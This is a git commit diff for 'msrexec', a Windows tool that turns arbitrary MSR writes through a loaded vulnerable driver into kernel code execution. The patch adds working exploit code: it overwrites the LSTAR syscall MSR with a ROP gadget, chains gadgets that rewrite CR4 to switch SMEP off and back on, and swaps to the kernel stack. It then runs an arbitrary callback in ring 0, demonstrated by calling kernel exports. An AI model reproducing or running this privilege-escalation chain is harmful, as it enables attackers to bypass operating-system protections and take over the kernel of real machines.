From 0fcc7cab62ed8f6f82a6d0cb82d43c4a36f5f474 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Sun, 21 Feb 2021 02:51:09 -0800 Subject: [PATCH] syscall handler works LSTAR gets restored... --- README.md | 3 --- main.cpp | 42 ++++++++++++++++++++++++++++++-------- msrexec.cpp | 38 +++++++++++++++++++++++++++++----- msrexec.hpp | 28 +++++++++---------------- msrexec.vcxproj | 2 ++ msrexec.vcxproj.filters | 4 ++-- syscall_handler.asm | 45 ++++++++++++++++++++++++----------------- syscall_handler.h | 15 ++++++++++---- 8 files changed, 118 insertions(+), 59 deletions(-) delete mode 100644 README.md diff --git a/README.md b/README.md deleted file mode 100644 index 39e0631..0000000 --- a/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# msrexec - -elevate arbitrary MSR writes to kernel execution \ No newline at end of file diff --git a/main.cpp b/main.cpp index efbaf58..b2ec8c5 100644 --- a/main.cpp +++ b/main.cpp @@ -2,6 +2,9 @@ #include "vdm.hpp" #include +using ex_alloc_pool_t = void* (*)(std::uint32_t, std::size_t); +using dbg_print_t = void(*)(const char*, ...); + int __cdecl main(int argc, char** argv) { const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); @@ -11,20 +14,40 @@ int __cdecl main(int argc, char** argv) return {}; } - std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", - drv_handle, drv_key.c_str(), drv_status); - std::getchar(); - + std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", drv_handle, drv_key.c_str(), drv_status); std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe")); std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem")); - vdm::writemsr_t _write_msr = + writemsr_t _write_msr = [&](std::uint32_t reg, std::uintptr_t value) -> void - { vdm::writemsr(reg, value); }; + { + // put your code here to write MSR.... + // the code is defined in vdm::writemsr for me... + vdm::writemsr(reg, value); + }; + + const auto ex_alloc_pool = + reinterpret_cast( + utils::kmodule::get_export( + "ntoskrnl.exe", "ExAllocatePool")); + + const auto dbg_print = + reinterpret_cast( + utils::kmodule::get_export( + "ntoskrnl.exe", "DbgPrint")); - sizeof write_msr_t; vdm::msrexec_ctx msrexec(_write_msr); - msrexec.exec([&]() -> void { int a = 10; }); + std::printf("press enter to run 100 syscall tests...\n"); + std::getchar(); + + for (auto idx = 0u; idx < 100; ++idx) + { + msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void + { + dbg_print("> allocated pool -> 0x%p\n", + ex_alloc_pool(NULL, 0x1000)); + }); + } const auto unload_result = vdm::unload_drv(drv_handle, drv_key); @@ -34,4 +57,7 @@ int __cdecl main(int argc, char** argv) std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result); return {}; } + + std::printf("completed tests...\n"); + std::getchar(); } \ No newline at end of file diff --git a/msrexec.cpp b/msrexec.cpp index 5d145a9..700e8b6 100644 --- a/msrexec.cpp +++ b/msrexec.cpp @@ -1,5 +1,14 @@ #include "msrexec.hpp" +void msrexec_handler() +{ + // restore LSTAR.... + __writemsr(IA32_LSTAR_MSR, m_system_call); + + // call usermode code... + //callback(); +} + namespace vdm { msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) @@ -11,14 +20,14 @@ namespace vdm MOV_CR4_GADGET, "xxxx"); if (!m_sysret_gadget) - m_sysret_gadget = + m_sysret_gadget = utils::rop::find_kgadget( - SYSRET_GADGET, "xx"); + SYSRET_GADGET, "xxx"); if (!m_pop_rcx_gadget) m_pop_rcx_gadget = utils::rop::find_kgadget( - POP_RCX_GADGET, "xx") + 2; + POP_RCX_GADGET, "xx"); if (m_kpcr_rsp_offset && m_kpcr_krsp_offset) return; @@ -56,12 +65,31 @@ namespace vdm std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); std::printf("> m_system_call -> 0x%p\n", m_system_call); - std::getchar(); } void msrexec_ctx::exec(callback_t kernel_callback) { + const thread_info_t thread_info = + { + GetPriorityClass(GetCurrentProcess()), + GetThreadPriority(GetCurrentThread()) + }; + + // make it so our thread is highest possible priority... + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + + // we want to finish off our quantum... + while (!SwitchToThread()); + + // set LSTAR to first rop gadget... race begins here... wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget); - syscall_wrapper(); + + // go go gadget kernel execution... + syscall_wrapper(kernel_callback); + + // reset thread priority... + SetPriorityClass(GetCurrentProcess(), thread_info.first); + SetThreadPriority(GetCurrentThread(), thread_info.second); } } \ No newline at end of file diff --git a/msrexec.hpp b/msrexec.hpp index e708f71..ea19300 100644 --- a/msrexec.hpp +++ b/msrexec.hpp @@ -1,33 +1,25 @@ #pragma once #include "utils.hpp" +#include "syscall_handler.h" +#include #define IA32_LSTAR_MSR 0xC0000082 #define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" #define POP_RCX_GADGET "\x59\xc3" -#define SYSRET_GADGET "\x0F\x07" +#define SYSRET_GADGET "\x48\x0F\x07" -#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B" -#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx" +// this is win10 2004... TODO: see how far back this signature works... +#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" +#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); -extern "C" std::uint32_t m_kpcr_rsp_offset; -extern "C" std::uint32_t m_kpcr_krsp_offset; - -extern "C" std::uintptr_t m_pop_rcx_gadget; -extern "C" std::uintptr_t m_mov_cr4_gadget; -extern "C" std::uintptr_t m_sysret_gadget; - -extern "C" std::uintptr_t m_smep_on; -extern "C" std::uintptr_t m_smep_off; - -extern "C" std::uintptr_t m_system_call; -extern "C" void syscall_wrapper(); +using callback_t = std::function; +using thread_info_t = std::pair; +using writemsr_t = std::function; +extern "C" void msrexec_handler(); namespace vdm { - using callback_t = std::function; - using writemsr_t = std::function; - class msrexec_ctx { public: diff --git a/msrexec.vcxproj b/msrexec.vcxproj index ef77c1a..30cd5a7 100644 --- a/msrexec.vcxproj +++ b/msrexec.vcxproj @@ -78,6 +78,7 @@ Console true + false @@ -95,6 +96,7 @@ true true true + false diff --git a/msrexec.vcxproj.filters b/msrexec.vcxproj.filters index 3ca1756..a86de76 100644 --- a/msrexec.vcxproj.filters +++ b/msrexec.vcxproj.filters @@ -39,8 +39,8 @@ - + Source Files - + \ No newline at end of file diff --git a/syscall_handler.asm b/syscall_handler.asm index 9d9b7ad..baff70f 100644 --- a/syscall_handler.asm +++ b/syscall_handler.asm @@ -1,6 +1,8 @@ +extern msrexec_handler : proc + .data ; offsets into _KPCR/_KPRCB - m_kpcr_rsp_offset dq 0h + m_kpcr_rsp_offset dq 0h m_kpcr_krsp_offset dq 0h m_system_call dq 0h @@ -25,49 +27,54 @@ .code syscall_handler proc - cli ; smep is disabled and LSTAR is still not restored at this point... ; we dont want the thread schedular to smoke us... - swapgs ; swap gs to kernel gs, and switch to kernel stack... - mov gs:m_kpcr_rsp_offset, rsp - mov rsp, gs:m_kpcr_krsp_offset + swapgs ; swap gs to kernel gs (_KPCR...) + + mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB + mov gs:[rax], rsp + + mov rax, m_kpcr_krsp_offset ; load kernel rsp.... + mov rsp, gs:[rax] push rcx ; push RIP push r11 ; push EFLAGS - mov rcx, r10 ; swapped by syscall... + mov rcx, r10 ; swapped by syscall instruction so we switch it back... sub rsp, 020h - ; call msrexec_handler + call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) add rsp, 020h pop r11 ; pop EFLAGS pop rcx ; pop RIP - mov rsp, gs:m_kpcr_rsp_offset ; restore rsp... - swapgs - sti ; we will be enabling smep in the next return... - mov rax, m_smep_on ; cr4 will be set to rax in the next return... + + mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... + mov rsp, gs:[rax] + + swapgs ; swap back to TIB... ret syscall_handler endp syscall_wrapper proc push r10 - mov r10, rcx ; rcx contains RIP after syscall instruction is executed... - push m_sysret_gadget ; rop to sysret... + mov r10, rcx + push m_sysret_gadget - lea rax, finish ; push rip back into rax... + lea rax, finish push rax push m_pop_rcx_gadget - push m_mov_cr4_gadget ; enable smep... + push m_mov_cr4_gadget push m_smep_on push m_pop_rcx_gadget - lea rax, syscall_handler ; rop from mov cr4 gadget to syscall handler... + lea rax, syscall_handler push rax - push m_mov_cr4_gadget ; rop from syscall handler to enable smep again... - push m_smep_off ; gets pop'ed into rcx by gadget at LSTAR... + push m_mov_cr4_gadget + push m_smep_off syscall + finish: - pop r10 + pop r10 ret syscall_wrapper endp end \ No newline at end of file diff --git a/syscall_handler.h b/syscall_handler.h index 15026cb..26aeff5 100644 --- a/syscall_handler.h +++ b/syscall_handler.h @@ -1,6 +1,13 @@ #pragma once +#include +extern "C" std::uint32_t m_kpcr_rsp_offset; +extern "C" std::uint32_t m_kpcr_krsp_offset; -extern "C" unsigned long long cr4_value; -extern "C" unsigned long kpcr_rsp_offset; -extern "C" unsigned long kpcr_krsp_offset; -extern "C" void syscall_handler(unsigned long long rip); \ No newline at end of file +extern "C" std::uintptr_t m_pop_rcx_gadget; +extern "C" std::uintptr_t m_mov_cr4_gadget; +extern "C" std::uintptr_t m_sysret_gadget; + +extern "C" std::uintptr_t m_smep_on; +extern "C" std::uintptr_t m_smep_off; +extern "C" std::uintptr_t m_system_call; +extern "C" void syscall_wrapper(...); \ No newline at end of file